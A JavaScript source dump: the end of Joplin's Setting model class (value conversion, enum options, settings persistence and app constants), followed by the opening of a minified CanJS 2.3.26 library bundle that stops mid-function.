Setting.TYPE_ARRAY) { if (!value) return []; if (Array.isArray(value)) return value; if (typeof value === 'string') return JSON.parse(value); return []; } if (md.type === Setting.TYPE_OBJECT) { if (!value) return {}; if (typeof value === 'object') return value; if (typeof value === 'string') return JSON.parse(value); return {}; } if (md.type === Setting.TYPE_STRING) { if (!value) return ''; return value + ''; } throw new Error('Unhandled value type: ' + md.type); } static value(key) { // Need to copy arrays and objects since in setValue(), the old value and new one is compared // with strict equality and the value is updated only if changed. However if the caller acquire // and object and change a key, the objects will be detected as equal. By returning a copy // we avoid this problem. function copyIfNeeded(value) { if (value === null || value === undefined) return value; if (Array.isArray(value)) return value.slice(); if (typeof value === 'object') return Object.assign({}, value); return value; } if (key in this.constants_) { const v = this.constants_[key]; const output = typeof v === 'function' ? v() : v; if (output == 'SET_ME') throw new Error('Setting constant has not been set: ' + key); return output; } if (!this.cache_) throw new Error('Settings have not been initialized!'); for (let i = 0; i < this.cache_.length; i++) { if (this.cache_[i].key == key) { return copyIfNeeded(this.cache_[i].value); } } const md = this.settingMetadata(key); return copyIfNeeded(md.value); } static isEnum(key) { const md = this.settingMetadata(key); return md.isEnum === true; } static enumOptionValues(key) { const options = this.enumOptions(key); let output = []; for (let n in options) { if (!options.hasOwnProperty(n)) continue; output.push(n); } return output; } static enumOptionLabel(key, value) { const options = this.enumOptions(key); for (let n in options) { if (n == value) return options[n]; } return ''; } static enumOptions(key) { const metadata = this.metadata(); if (!metadata[key]) throw new Error('Unknown key: ' + key); if (!metadata[key].options) throw new Error('No options for: ' + key); return metadata[key].options(); } static enumOptionsDoc(key, templateString = null) { if (templateString === null) templateString = '%s: %s'; const options = this.enumOptions(key); let output = []; for (let n in options) { if (!options.hasOwnProperty(n)) continue; output.push(sprintf(templateString, n, options[n])); } return output.join(', '); } static isAllowedEnumOption(key, value) { const options = this.enumOptions(key); return !!options[value]; } // For example, if settings is: // { sync.5.path: 'http://example', sync.5.username: 'testing' } // and baseKey is 'sync.5', the function will return // { path: 'http://example', username: 'testing' } static subValues(baseKey, settings) { let output = {}; for (let key in settings) { if (!settings.hasOwnProperty(key)) continue; if (key.indexOf(baseKey) === 0) { const subKey = key.substr(baseKey.length + 1); output[subKey] = settings[key]; } } return output; } static async saveAll() { if (!this.saveTimeoutId_) return Promise.resolve(); this.logger().info('Saving settings...'); clearTimeout(this.saveTimeoutId_); this.saveTimeoutId_ = null; let queries = []; queries.push('DELETE FROM settings'); for (let i = 0; i < this.cache_.length; i++) { let s = Object.assign({}, this.cache_[i]); s.value = this.valueToString(s.key, s.value); queries.push(Database.insertQuery(this.tableName(), s)); } await BaseModel.db().transactionExecBatch(queries); this.logger().info('Settings have been saved.'); } static scheduleSave() { if (!Setting.autoSaveEnabled) return; if (this.saveTimeoutId_) clearTimeout(this.saveTimeoutId_); this.saveTimeoutId_ = setTimeout(() => { this.saveAll(); }, 500); } static cancelScheduleSave() { if (this.saveTimeoutId_) clearTimeout(this.saveTimeoutId_); this.saveTimeoutId_ = null; } static publicSettings(appType) { if (!appType) throw new Error('appType is required'); const metadata = this.metadata(); let output = {}; for (let key in metadata) { if (!metadata.hasOwnProperty(key)) continue; let s = Object.assign({}, metadata[key]); if (!s.public) continue; if (s.appTypes && s.appTypes.indexOf(appType) < 0) continue; s.value = this.value(key); output[key] = s; } return output; } static typeToString(typeId) { if (typeId === Setting.TYPE_INT) return 'int'; if (typeId === Setting.TYPE_STRING) return 'string'; if (typeId === Setting.TYPE_BOOL) return 'bool'; if (typeId === Setting.TYPE_ARRAY) return 'array'; if (typeId === Setting.TYPE_OBJECT) return 'object'; } static groupMetadatasBySections(metadatas) { let sections = []; const generalSection = { name: 'general', metadatas: [] }; const nameToSections = {}; nameToSections['general'] = generalSection; sections.push(generalSection); for (let i = 0; i < metadatas.length; i++) { const md = metadatas[i]; if (!md.section) { generalSection.metadatas.push(md); } else { if (!nameToSections[md.section]) { nameToSections[md.section] = { name: md.section, metadatas: [] }; sections.push(nameToSections[md.section]); } nameToSections[md.section].metadatas.push(md); } } return sections; } static sectionNameToLabel(name) { if (name === 'general') return _('General'); if (name === 'sync') return _('Synchronisation'); if (name === 'appearance') return _('Appearance'); if (name === 'note') return _('Note'); if (name === 'plugins') return _('Plugins'); if (name === 'application') return _('Application'); return name; } static appTypeToLabel(name) { // Not translated for now because only used on Welcome notes (which are not translated) if (name === 'cli') return 'CLI'; return name[0].toUpperCase() + name.substr(1).toLowerCase(); } } Setting.TYPE_INT = 1; Setting.TYPE_STRING = 2; Setting.TYPE_BOOL = 3; Setting.TYPE_ARRAY = 4; Setting.TYPE_OBJECT = 5; Setting.THEME_LIGHT = 1; Setting.THEME_DARK = 2; Setting.DATE_FORMAT_1 = 'DD/MM/YYYY' Setting.DATE_FORMAT_2 = 'DD/MM/YY'; Setting.DATE_FORMAT_3 = 'MM/DD/YYYY'; Setting.DATE_FORMAT_4 = 'MM/DD/YY'; Setting.DATE_FORMAT_5 = 'YYYY-MM-DD'; Setting.DATE_FORMAT_6 = 'DD.MM.YYYY'; Setting.TIME_FORMAT_1 = 'HH:mm'; Setting.TIME_FORMAT_2 = 'h:mm A'; // Contains constants that are set by the application and // cannot be modified by the user: Setting.constants_ = { env: 'SET_ME', isDemo: false, appName: 'joplin', appId: 'SET_ME', // Each app should set this identifier appType: 'SET_ME', // 'cli' or 'mobile' resourceDir: '', profileDir: '', tempDir: '', openDevTools: false, } Setting.autoSaveEnabled = true; module.exports = Setting;
/*! * CanJS - 2.3.26 * http://canjs.com/ * Copyright (c) 2016 Bitovi * Thu, 25 Aug 2016 15:02:02 GMT * Licensed MIT * Includes: can/component/component,can/construct/construct,can/map/map,can/list/list,can/compute/compute,can/model/model,can/view/view,can/view/href/href,can/control/control,can/route/route,can/control/route/route,can/view/mustache/mustache,can/view/stache/stache,can/view/autorender/autorender,can/view/stache/system,can/view/mustache/system * Download from: http://bitbuilder.herokuapp.com/can.custom.js?configuration=jquery&minify=true&plugins=can%2Fcomponent%2Fcomponent&plugins=can%2Fconstruct%2Fconstruct&plugins=can%2Fmap%2Fmap&plugins=can%2Flist%2Flist&plugins=can%2Fcompute%2Fcompute&plugins=can%2Fmodel%2Fmodel&plugins=can%2Fview%2Fview&plugins=can%2Fview%2Fhref%2Fhref&plugins=can%2Fcontrol%2Fcontrol&plugins=can%2Froute%2Froute&plugins=can%2Fcontrol%2Froute%2Froute&plugins=can%2Fview%2Fmustache%2Fmustache&plugins=can%2Fview%2Fstache%2Fstache&plugins=can%2Fview%2Fautorender%2Fautorender&plugins=can%2Fview%2Fstache%2Fsystem&plugins=can%2Fview%2Fmustache%2Fsystem */ /*[global-shim-start]*/ !function(exports,global){var origDefine=global.define,get=function(e){var o,l=e.split("."),n=global;for(o=0;o<l.length&&n;o++)n=n[l[o]];return n},modules=global.define&&global.define.modules||global._define&&global._define.modules||{},ourDefine=global.define=function(e,o,l){var n;"function"==typeof o&&(l=o,o=[]);var r,t=[];for(r=0;r<o.length;r++)t.push(exports[o[r]]?get(exports[o[r]]):modules[o[r]]||get(o[r]));if(!o.length&&l.length){n={exports:{}};var i=function(e){return exports[e]?get(exports[e]):modules[e]};t.push(i,n.exports,n)}else t[0]||"exports"!==o[0]?t[0]||"module"!==o[0]||(t[0]={id:e}):(n={exports:{}},t[0]=n.exports,"module"===o[1]&&(t[1]=n));global.define=origDefine;var a=l?l.apply(null,t):void 0;global.define=ourDefine,modules[e]=n&&n.exports?n.exports:a};global.define.orig=origDefine,global.define.modules=modules,global.define.amd=!0,ourDefine("@loader",[],function(){var noop=function(){};return{get:function(){return{prepareGlobal:noop,retrieveGlobal:noop}},global:global,__exec:function(__load){eval("(function() { "+__load.source+" \n }).call(global);")}}})}({},window); /*can/util/can*/ define("can/util/can",[],function(){var e="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:global,n={};("undefined"==typeof GLOBALCAN||GLOBALCAN!==!1)&&(e.can=n),n.global=e,n.k=function(){},n.isDeferred=function(e){return n.dev&&n.dev.warn("can.isDeferred: this function is deprecated and will be removed in a future release. can.isPromise replaces the functionality of can.isDeferred."),e&&"function"==typeof e.then&&"function"==typeof e.pipe},n.isPromise=function(e){return!!e&&(window.Promise&&e instanceof Promise||n.isFunction(e.then)&&(void 0===n.List||!(e instanceof n.List)))},n.isMapLike=function(e){return n.Map&&(e instanceof n.Map||e&&e.___get)};var t=0;n.cid=function(e,n){return e._cid||(t++,e._cid=(n||"")+t),e._cid},n.VERSION="@EDGE",n.simpleExtend=function(e,n){for(var t in n)e[t]=n[t];return e},n.last=function(e){return e&&e[e.length-1]},n.isDOM=function(e){return(e.ownerDocument||e)===n.global.document},n.childNodes=function(e){var n=e.childNodes;if("length"in n)return n;for(var t=e.firstChild,o=[];t;)o.push(t),t=t.nextSibling;return o};var o=Function.prototype.bind;o?n.proxy=function(e,n){return o.call(e,n)}:n.proxy=function(e,n){return function(){return e.apply(n,arguments)}},n.frag=function(e,t){var o,r=t||n.document||n.global.document;return e&&"string"!=typeof e?11===e.nodeType?e:"number"==typeof e.nodeType?(o=r.createDocumentFragment(),o.appendChild(e),o):"number"==typeof e.length?(o=r.createDocumentFragment(),n.each(e,function(e){o.appendChild(n.frag(e))}),n.childNodes(o).length||o.appendChild(r.createTextNode("")),o):(o=n.buildFragment(""+e,r),n.childNodes(o).length||o.appendChild(r.createTextNode("")),o):(o=n.buildFragment(null==e?"":""+e,r),o.childNodes.length||o.appendChild(r.createTextNode("")),o)},n.scope=n.viewModel=function(e,t,o){e=n.$(e);var r=n.data(e,"scope")||n.data(e,"viewModel");switch(r||(r=new n.Map,n.data(e,"scope",r),n.data(e,"viewModel",r)),arguments.length){case 0:case 1:return r;case 2:return r.attr(t);default:return r.attr(t,o),e}};var r=function(e){var n=String(e).replace(/^\s+|\s+$/g,"").match(/^([^:\/?#]+:)?(\/\/(?:[^:@]*(?::[^:@]*)?@)?(([^:\/?#]*)(?::(\d*))?))?([^?#]*)(\?[^#]*)?(#[\s\S]*)?/);return n?{href:n[0]||"",protocol:n[1]||"",authority:n[2]||"",host:n[3]||"",hostname:n[4]||"",port:n[5]||"",pathname:n[6]||"",search:n[7]||"",hash:n[8]||""}:null};return n.joinURIs=function(e,n){function t(e){var n=[];return e.replace(/^(\.\.?(\/|$))+/,"").replace(/\/(\.(\/|$))+/g,"/").replace(/\/\.\.$/,"/../").replace(/\/?[^\/]*/g,function(e){"/.."===e?n.pop():n.push(e)}),n.join("").replace(/^\//,"/"===e.charAt(0)?"/":"")}return n=r(n||""),e=r(e||""),n&&e?(n.protocol||e.protocol)+(n.protocol||n.authority?n.authority:e.authority)+t(n.protocol||n.authority||"/"===n.pathname.charAt(0)?n.pathname:n.pathname?(e.authority&&!e.pathname?"/":"")+e.pathname.slice(0,e.pathname.lastIndexOf("/")+1)+n.pathname:e.pathname)+(n.protocol||n.authority||n.pathname?n.search:n.search||e.search)+n.hash:null},n["import"]=function(e,t){var o=new n.Deferred;return"object"==typeof window.System&&n.isFunction(window.System["import"])?window.System["import"](e,{name:t}).then(n.proxy(o.resolve,o),n.proxy(o.reject,o)):window.define&&window.define.amd?window.require([e],function(e){o.resolve(e)}):window.steal?steal.steal(e,function(e){o.resolve(e)}):window.require?o.resolve(window.require(e)):o.resolve(),o.promise()},n.__observe=function(){},n.isNode="object"==typeof process&&"[object process]"==={}.toString.call(process),n.isBrowserWindow="undefined"!=typeof window&&"undefined"!=typeof document&&"undefined"==typeof SimpleDOM,n.isWebWorker="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope,n}); /*can/util/attr/attr*/ define("can/util/attr/attr",["can/util/can"],function(t){var e=t.global.setImmediate||function(t){return setTimeout(t,0)},r={input:!0,textarea:!0,select:!0},n=function(e,n){return n in e||t.document&&r[e.nodeName.toLowerCase()]},a={MutationObserver:t.global.MutationObserver||t.global.WebKitMutationObserver||t.global.MozMutationObserver,map:{"class":function(t,e){return e=e||"","http://www.w3.org/2000/svg"===t.namespaceURI?t.setAttribute("class",e):t.className=e,e},value:"value",innertext:"innerText",innerhtml:"innerHTML",textcontent:"textContent","for":"htmlFor",checked:!0,disabled:!0,readonly:function(t,e){return t.readOnly=e||"string"==typeof e?!0:!1,e},required:!0,src:function(t,e){return null==e||""===e?(t.removeAttribute("src"),null):(t.setAttribute("src",e),e)},style:function(){var e=t.global.document&&document.createElement("div");return e&&e.style&&"cssText"in e.style?function(t,e){return t.style.cssText=e||""}:function(t,e){return t.setAttribute("style",e)}}()},defaultValue:["input","textarea"],setAttrOrProp:function(t,e,r){e=e.toLowerCase();var n=a.map[e];n!==!0||r?this.set(t,e,r):this.remove(t,e)},setSelectValue:function(t,e){if(null!=e)for(var r=t.getElementsByTagName("option"),n=0;n<r.length;n++)if(e==r[n].value)return void(r[n].selected=!0);t.selectedIndex=-1},set:function(e,r,u){var o=t.isDOM(e)&&a.MutationObserver;r=r.toLowerCase();var i;o||(i=a.get(e,r));var s,l=a.map[r];"function"==typeof l?s=l(e,u):l===!0&&n(e,r)?(s=e[r]=!0,"checked"===r&&"radio"===e.type&&t.inArray((e.nodeName+"").toLowerCase(),a.defaultValue)>=0&&(e.defaultChecked=!0)):"string"==typeof l&&n(e,l)?(s=u,(e[l]!==u||"OPTION"===e.nodeName.toUpperCase())&&(e[l]=u),"value"===l&&t.inArray((e.nodeName+"").toLowerCase(),a.defaultValue)>=0&&(e.defaultValue=u)):a.setAttribute(e,r,u),o||s===i||a.trigger(e,r,i)},setAttribute:function(){var e=t.global.document;if(e&&document.createAttribute)try{e.createAttribute("{}")}catch(r){var n={},a=document.createElement("div");return function(t,e,r){var u,o,i=e.charAt(0);"{"!==i&&"("!==i&&"*"!==i||!t.setAttributeNode?t.setAttribute(e,r):(u=n[e],u||(a.innerHTML="<div "+e+'=""></div>',u=n[e]=a.childNodes[0].attributes[0]),o=u.cloneNode(),o.value=r,t.setAttributeNode(o))}}return function(t,e,r){t.setAttribute(e,r)}}(),trigger:function(r,n,a){return t.data(t.$(r),"canHasAttributesBindings")?(n=n.toLowerCase(),e(function(){t.trigger(r,{type:"attributes",attributeName:n,target:r,oldValue:a,bubbles:!1},[])})):void 0},get:function(t,e){e=e.toLowerCase();var r=a.map[e];return"string"==typeof r&&n(t,r)?t[r]:r===!0&&n(t,e)?t[e]:t.getAttribute(e)},remove:function(t,e){e=e.toLowerCase();var r;a.MutationObserver||(r=a.get(t,e));var u=a.map[e];"function"==typeof u&&u(t,void 0),u===!0&&n(t,e)?t[e]=!1:"string"==typeof u&&n(t,u)?t[u]="":t.removeAttribute(e),a.MutationObserver||null==r||a.trigger(t,e,r)},has:function(){var e=t.global.document&&document.createElement("div");return e&&e.hasAttribute?function(t,e){return t.hasAttribute(e)}:function(t,e){return null!==t.getAttribute(e)}}()};return a}); /*can/event/event*/ define("can/event/event",["can/util/can"],function(t){return t.addEvent=function(t,n){var e=this.__bindEvents||(this.__bindEvents={}),i=e[t]||(e[t]=[]);return i.push({handler:n,name:t}),this},t.listenTo=function(n,e,i){var r=this.__listenToEvents;r||(r=this.__listenToEvents={});var s=t.cid(n),o=r[s];o||(o=r[s]={obj:n,events:{}});var a=o.events[e];a||(a=o.events[e]=[]),a.push(i),t.bind.call(n,e,i)},t.stopListening=function(n,e,i){var r=this.__listenToEvents,s=r,o=0;if(!r)return this;if(n){var a=t.cid(n);if((s={})[a]=r[a],!r[a])return this}for(var v in s){var l,h=s[v];n=r[v].obj,e?(l={})[e]=h.events[e]:l=h.events;for(var u in l){var d=l[u]||[];for(o=0;o<d.length;)i&&i===d[o]||!i?(t.unbind.call(n,u,d[o]),d.splice(o,1)):o++;d.length||delete h.events[u]}t.isEmptyObject(h.events)&&delete r[v]}return this},t.removeEvent=function(t,n,e){if(!this.__bindEvents)return this;for(var i,r=this.__bindEvents[t]||[],s=0,o="function"==typeof n;s<r.length;)i=r[s],(e?e(i,t,n):o&&i.handler===n||!o&&(i.cid===n||!n))?r.splice(s,1):s++;return this},t.dispatch=function(t,n){var e=this.__bindEvents;if(e){var i;"string"==typeof t?(i=t,t={type:t}):i=t.type;var r=e[i];if(r){r=r.slice(0);var s=[t];n&&s.push.apply(s,n);for(var o=0,a=r.length;a>o;o++)r[o].handler.apply(this,s);return t}}},t.one=function(n,e){var i=function(){return t.unbind.call(this,n,i),e.apply(this,arguments)};return t.bind.call(this,n,i),this},t.event={on:function(){return 0===arguments.length&&t.Control&&this instanceof t.Control?t.Control.prototype.on.call(this):t.addEvent.apply(this,arguments)},off:function(){return 0===arguments.length&&t.Control&&this instanceof t.Control?t.Control.prototype.off.call(this):t.removeEvent.apply(this,arguments)},bind:t.addEvent,unbind:t.removeEvent,delegate:function(n,e,i){return t.addEvent.call(this,e,i)},undelegate:function(n,e,i){return t.removeEvent.call(this,e,i)},trigger:t.dispatch,one:t.one,addEvent:t.addEvent,removeEvent:t.removeEvent,listenTo:t.listenTo,stopListening:t.stopListening,dispatch:t.dispatch},t.event}); /*can/util/fragment*/ define("can/util/fragment",["can/util/can"],function(e){var t=/^\s*<(\w+)[^>]*>/,i={}.toString,l=function(l,n,r){void 0===n&&(n=t.test(l)&&RegExp.$1),l&&"[object Function]"===i.call(l.replace)&&(l=l.replace(/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,"<$1></$2>"));var d=r.createElement("div"),a=r.createElement("div");"tbody"===n||"tfoot"===n||"thead"===n||"colgroup"===n?(a.innerHTML="<table>"+l+"</table>",d=3===a.firstChild.nodeType?a.lastChild:a.firstChild):"col"===n?(a.innerHTML="<table><colgroup>"+l+"</colgroup></table>",d=3===a.firstChild.nodeType?a.lastChild:a.firstChild.firstChild):"tr"===n?(a.innerHTML="<table><tbody>"+l+"</tbody></table>",d=3===a.firstChild.nodeType?a.lastChild:a.firstChild.firstChild):"td"===n||"th"===n?(a.innerHTML="<table><tbody><tr>"+l+"</tr></tbody></table>",d=3===a.firstChild.nodeType?a.lastChild:a.firstChild.firstChild.firstChild):"option"===n?(a.innerHTML="<select>"+l+"</select>",d=3===a.firstChild.nodeType?a.lastChild:a.firstChild):d.innerHTML=""+l;var o={},h=e.childNodes(d);o.length=h.length;for(var c=0;c<h.length;c++)o[c]=h[c];return[].slice.call(o)};return e.buildFragment=function(e,t){if(e&&11===e.nodeType)return e;t?t.length&&(t=t[0]):t=document;for(var i=l(e,void 0,t),n=(t||document).createDocumentFragment(),r=0,d=i.length;d>r;r++)n.appendChild(i[r]);return n},function(){var t="<-\n>",i=e.buildFragment(t,document);if(t!==i.firstChild.nodeValue){var l=e.buildFragment;e.buildFragment=function(e,t){var i=l(e,t);return 1===i.childNodes.length&&3===i.childNodes[0].nodeType&&(i.childNodes[0].nodeValue=e),i}}}(),e}); /*can/util/array/isArrayLike*/ define("can/util/array/isArrayLike",["can/util/can"],function(n){n.isArrayLike=function(n){var e=n&&"boolean"!=typeof n&&"number"!=typeof n&&"length"in n&&n.length;return"function"!=typeof arr&&(0===e||"number"==typeof e&&e>0&&e-1 in n)}}); /*can/util/array/each*/ define("can/util/array/each",["can/util/can","can/util/array/isArrayLike"],function(a){return a.each=function(e,t,r){var i,n,l,c=0;if(e)if(a.isArrayLike(e))if(a.List&&e instanceof a.List)for(n=e.attr("length");n>c&&(l=e.attr(c),t.call(r||l,l,c,e)!==!1);c++);else for(n=e.length;n>c&&(l=e[c],t.call(r||l,l,c,e)!==!1);c++);else if("object"==typeof e)if(a.Map&&e instanceof a.Map||e===a.route){var f=a.Map.keys(e);for(c=0,n=f.length;n>c&&(i=f[c],l=e.attr(i),t.call(r||l,l,i,e)!==!1);c++);}else for(i in e)if(Object.prototype.hasOwnProperty.call(e,i)&&t.call(r||e[i],e[i],i,e)===!1)break;return e},a}); /*can/util/inserted/inserted*/ define("can/util/inserted/inserted",["can/util/can"],function(e){e.inserted=function(n,r){if(n.length){n=e.makeArray(n);for(var i,t,a=r||n[0].ownerDocument||n[0],d=!1,o=e.$(a.contains?a:a.body),s=0;void 0!==(t=n[s]);s++){if(!d){if(!t.getElementsByTagName)continue;if(!e.has(o,t).length)return;d=!0}if(d&&t.getElementsByTagName){i=e.makeArray(t.getElementsByTagName("*")),e.trigger(t,"inserted",[],!1);for(var f,c=0;void 0!==(f=i[c]);c++)e.trigger(f,"inserted",[],!1)}}}},e.appendChild=function(n,r,i){var t;t=11===r.nodeType?e.makeArray(e.childNodes(r)):[r],n.appendChild(r),e.inserted(t,i)},e.insertBefore=function(n,r,i,t){var a;a=11===r.nodeType?e.makeArray(e.childNodes(r)):[r],n.insertBefore(r,i),e.inserted(a,t)}}); /*can/util/jquery/jquery*/ define("can/util/jquery/jquery",["jquery/dist/jquery","can/util/can","can/util/attr/attr","can/event/event","can/util/fragment","can/util/array/each","can/util/inserted/inserted"],function(t,e,n,r){var i=function(t){return t.nodeName&&(1===t.nodeType||9===t.nodeType)||t==window||t.addEventListener};t=t||window.jQuery,t.extend(e,t,{trigger:function(n,r,a,s){i(n)?t.event.trigger(r,a,n,!s):n.trigger?n.trigger(r,a):("string"==typeof r&&(r={type:r}),r.target=r.target||n,a&&(a.length&&"string"==typeof a?a=[a]:a.length||(a=[a])),a||(a=[]),e.dispatch.call(n,r,a))},event:e.event,addEvent:e.addEvent,removeEvent:e.removeEvent,buildFragment:e.buildFragment,$:t,each:e.each,bind:function(n,r){return this.bind&&this.bind!==e.bind?this.bind(n,r):i(this)?t.event.add(this,n,r):e.addEvent.call(this,n,r),this},unbind:function(n,r){return this.unbind&&this.unbind!==e.unbind?this.unbind(n,r):i(this)?t.event.remove(this,n,r):e.removeEvent.call(this,n,r),this},delegate:function(n,r,a){return this.delegate?this.delegate(n,r,a):i(this)?t(this).delegate(n,r,a):e.bind.call(this,r,a),this},undelegate:function(n,r,a){return this.undelegate?this.undelegate(n,r,a):i(this)?t(this).undelegate(n,r,a):e.unbind.call(this,r,a),this},proxy:e.proxy,attr:n}),e.on=e.bind,e.off=e.unbind,t.each(["append","filter","addClass","remove","data","get","has"],function(t,n){e[n]=function(t){return t[n].apply(t,e.makeArray(arguments).slice(1))}});var a=t.cleanData;t.cleanData=function(n){t.each(n,function(t,n){n&&e.trigger(n,"removed",[],!1)}),a(n)};var s,u=t.fn.domManip;t.fn.domManip=function(t,e,n){for(var r=1;r<arguments.length;r++)if("function"==typeof arguments[r]){s=r;break}return u.apply(this,arguments)},t(document.createElement("div")).append(document.createElement("div"));var d=function(t){var n=t.childNodes;if("length"in n)return e.makeArray(n);for(var r=t.firstChild,i=[];r;)i.push(r),r=r.nextSibling;return i};void 0===s?(t.fn.domManip=u,e.each(["after","prepend","before","append","replaceWith"],function(n){var r=t.fn[n];t.fn[n]=function(){var t=[],n=e.makeArray(arguments);null!=n[0]&&("string"==typeof n[0]&&(n[0]=e.buildFragment(n[0])),t=11===n[0].nodeType?d(n[0]):e.isArrayLike(n[0])?e.makeArray(n[0]):[n[0]]);var i=r.apply(this,n);return e.inserted(t),i}})):t.fn.domManip=2===s?function(t,n,r){return u.call(this,t,n,function(t){var n;11===t.nodeType&&(n=e.makeArray(e.childNodes(t)));var i=r.apply(this,arguments);return e.inserted(n?n:[t]),i})}:function(t,n){return u.call(this,t,function(t){var r;11===t.nodeType&&(r=e.makeArray(e.childNodes(t)));var i=n.apply(this,arguments);return e.inserted(r?r:[t]),i})};var l=t.attr;t.attr=function(t,n){if(e.isDOM(t)&&e.attr.MutationObserver)return l.apply(this,arguments);var r,i;arguments.length>=3&&(r=l.call(this,t,n));var a=l.apply(this,arguments);return arguments.length>=3&&(i=l.call(this,t,n)),i!==r&&e.attr.trigger(t,n,r),a};var o=t.removeAttr;return t.removeAttr=function(t,n){if(e.isDOM(t)&&e.attr.MutationObserver)return o.apply(this,arguments);var r=l.call(this,t,n),i=o.apply(this,arguments);return null!=r&&e.attr.trigger(t,n,r),i},t.event.special.attributes={setup:function(){if(e.isDOM(this)&&e.attr.MutationObserver){var t=this,n=new e.attr.MutationObserver(function(n){n.forEach(function(n){var r=e.simpleExtend({},n);e.trigger(t,r,[])})});n.observe(this,{attributes:!0,attributeOldValue:!0}),e.data(e.$(this),"canAttributesObserver",n)}else e.data(e.$(this),"canHasAttributesBindings",!0)},teardown:function(){e.isDOM(this)&&e.attr.MutationObserver?(e.data(e.$(this),"canAttributesObserver").disconnect(),t.removeData(this,"canAttributesObserver")):t.removeData(this,"canHasAttributesBindings")}},t.event.special.inserted={},t.event.special.removed={},e}); /*can/util/util*/ define("can/util/util",["can/util/jquery/jquery"],function(u){return u}); /*can/view/view*/ define("can/view/view",["can/util/util"],function(e){var r=e.isFunction,n=e.makeArray,t=1,i=function(e){var r=function(){return s.frag(e.apply(this,arguments))};return r.render=function(){return e.apply(e,arguments)},r},u=function(e,r){if(!e.length)throw new Error("can.view: No template or empty template:"+r)},o=function(n,t){if(r(n)){var i=e.Deferred();return i.resolve(n)}var o,a,c,d="string"==typeof n?n:n.url,f=n.engine&&"."+n.engine||d.match(/\.[\w\d]+$/);if(d.match(/^#/)&&(d=d.substr(1)),(a=document.getElementById(d))&&(f="."+a.type.match(/\/(x\-)?(.+)/)[2]),f||s.cached[d]||(d+=f=s.ext),e.isArray(f)&&(f=f[0]),c=s.toId(d),d.match(/^\/\//)&&(d=d.substr(2),d=window.steal?steal.config().root.mapJoin(""+steal.id(d)):d),window.require&&require.toUrl&&(d=require.toUrl(d)),o=s.types[f],s.cached[c])return s.cached[c];if(a)return s.registerView(c,a.innerHTML,o);var p=new e.Deferred;return e.ajax({async:t,url:d,dataType:"text",error:function(e){u("",d),p.reject(e)},success:function(e){u(e,d),s.registerView(c,e,o,p)}}),p},a=function(r){var n=[];if(e.isPromise(r))return[r];for(var t in r)e.isPromise(r[t])&&n.push(r[t]);return n},c=function(r){return e.isArray(r)&&"success"===r[1]?r[0]:r},s=e.view=e.template=function(e,n,t,i){return r(t)&&(i=t,t=void 0),s.renderAs("fragment",e,n,t,i)};return e.extend(s,{frag:function(e,r){return s.hookup(s.fragment(e),r)},fragment:function(r){return e.frag(r,document)},toId:function(r){return e.map(r.toString().split(/\/|\./g),function(e){return e?e:void 0}).join("_")},toStr:function(e){return null==e?"":""+e},hookup:function(r,n){var t,i,u=[];return e.each(r.childNodes?e.makeArray(r.childNodes):r,function(r){1===r.nodeType&&(u.push(r),u.push.apply(u,e.makeArray(r.getElementsByTagName("*"))))}),e.each(u,function(e){e.getAttribute&&(t=e.getAttribute("data-view-id"))&&(i=s.hookups[t])&&(i(e,n,t),delete s.hookups[t],e.removeAttribute("data-view-id"))}),r},hookups:{},hook:function(e){return s.hookups[++t]=e," data-view-id='"+t+"'"},cached:{},cachedRenderers:{},cache:!0,register:function(r){this.types["."+r.suffix]=r,e[r.suffix]=s[r.suffix]=function(e,n){var t,u;if(!n)return u=function(){return t||(t=r.fragRenderer?r.fragRenderer(null,e):i(r.renderer(null,e))),t.apply(this,arguments)},u.render=function(){var n=r.renderer(null,e);return n.apply(n,arguments)},u;var o=function(){return t||(t=r.fragRenderer?r.fragRenderer(e,n):r.renderer(e,n)),t.apply(this,arguments)};return r.fragRenderer?s.preload(e,o):s.preloadStringRenderer(e,o)}},types:{},ext:".ejs",registerScript:function(e,r,n){return"can.view.preloadStringRenderer('"+r+"',"+s.types["."+e].script(r,n)+");"},preload:function(r,n){var t=s.cached[r]=(new e.Deferred).resolve(function(e,r){return n.call(e,e,r)});return t.__view_id=r,s.cachedRenderers[r]=n,n},preloadStringRenderer:function(e,r){return this.preload(e,i(r))},render:function(r,n,t,i,u){return e.view.renderAs("string",r,n,t,i,u)},renderTo:function(e,r,n,t,i){return("string"===e&&r.render?r.render:r)(n,t,i)},renderAs:function(t,i,u,d,f,p){void 0!==f&&"string"==typeof f.expression&&(p=f,f=void 0),r(d)&&(f=d,d=void 0);var l,h,v,g,m=a(u);if(m.length)return l=new e.Deferred,h=e.extend({},u),m.push(o(i,!0)),e.when.apply(e,m).then(function(r){var i,o=n(arguments),a=o.pop();if(e.isPromise(u))h=c(r);else for(var s in u)e.isPromise(u[s])&&(h[s]=c(o.shift()));i=e.view.renderTo(t,a,h,d,p),l.resolve(i,h),f&&f(i,h)},function(){l.reject.apply(l,arguments)}),l;if(v=r(f),l=e.__notObserve(o)(i,v),v)g=l,l.then(function(r){f(u?e.view.renderTo(t,r,u,d,p):r)});else{if("resolved"===l.state()&&l.__view_id){var w=s.cachedRenderers[l.__view_id];return u?e.view.renderTo(t,w,u,d,p):w}l.then(function(r){g=u?e.view.renderTo(t,r,u,d,p):r})}return g},registerView:function(r,n,t,u){var o,a="object"==typeof t?t:s.types[t||s.ext];return o=a.fragRenderer?a.fragRenderer(r,n):i(a.renderer(r,n)),u=u||new e.Deferred,s.cache&&(s.cached[r]=u,u.__view_id=r,s.cachedRenderers[r]=o),u.resolve(o)},simpleHelper:function(r){return function(){var n=[],t=arguments;return e.each(t,function(e,r){if(r<=t.length){for(;e&&e.isComputed;)e=e();n.push(e)}}),r.apply(this,n)}}}),e}); /*can/view/callbacks/callbacks*/ define("can/view/callbacks/callbacks",["can/util/util","can/view/view"],function(t){var e=t.view.attr=function(t,e){if(!e){var i=a[t];if(!i)for(var n=0,l=r.length;l>n;n++){var o=r[n];if(o.match.test(t)){i=o.handler;break}}return i}"string"==typeof t?a[t]=e:r.push({match:t,handler:e})},a={},r=[],i=/[-\:]/,n=t.view.tag=function(e,a){if(!a){var r=l[e.toLowerCase()];return!r&&i.test(e)&&(r=function(){}),r}t.global.html5&&(t.global.html5.elements+=" "+e,t.global.html5.shivDocument()),l[e.toLowerCase()]=a},l={};return t.view.callbacks={_tags:l,_attributes:a,_regExpAttributes:r,tag:n,attr:e,tagHandler:function(e,a,r){var 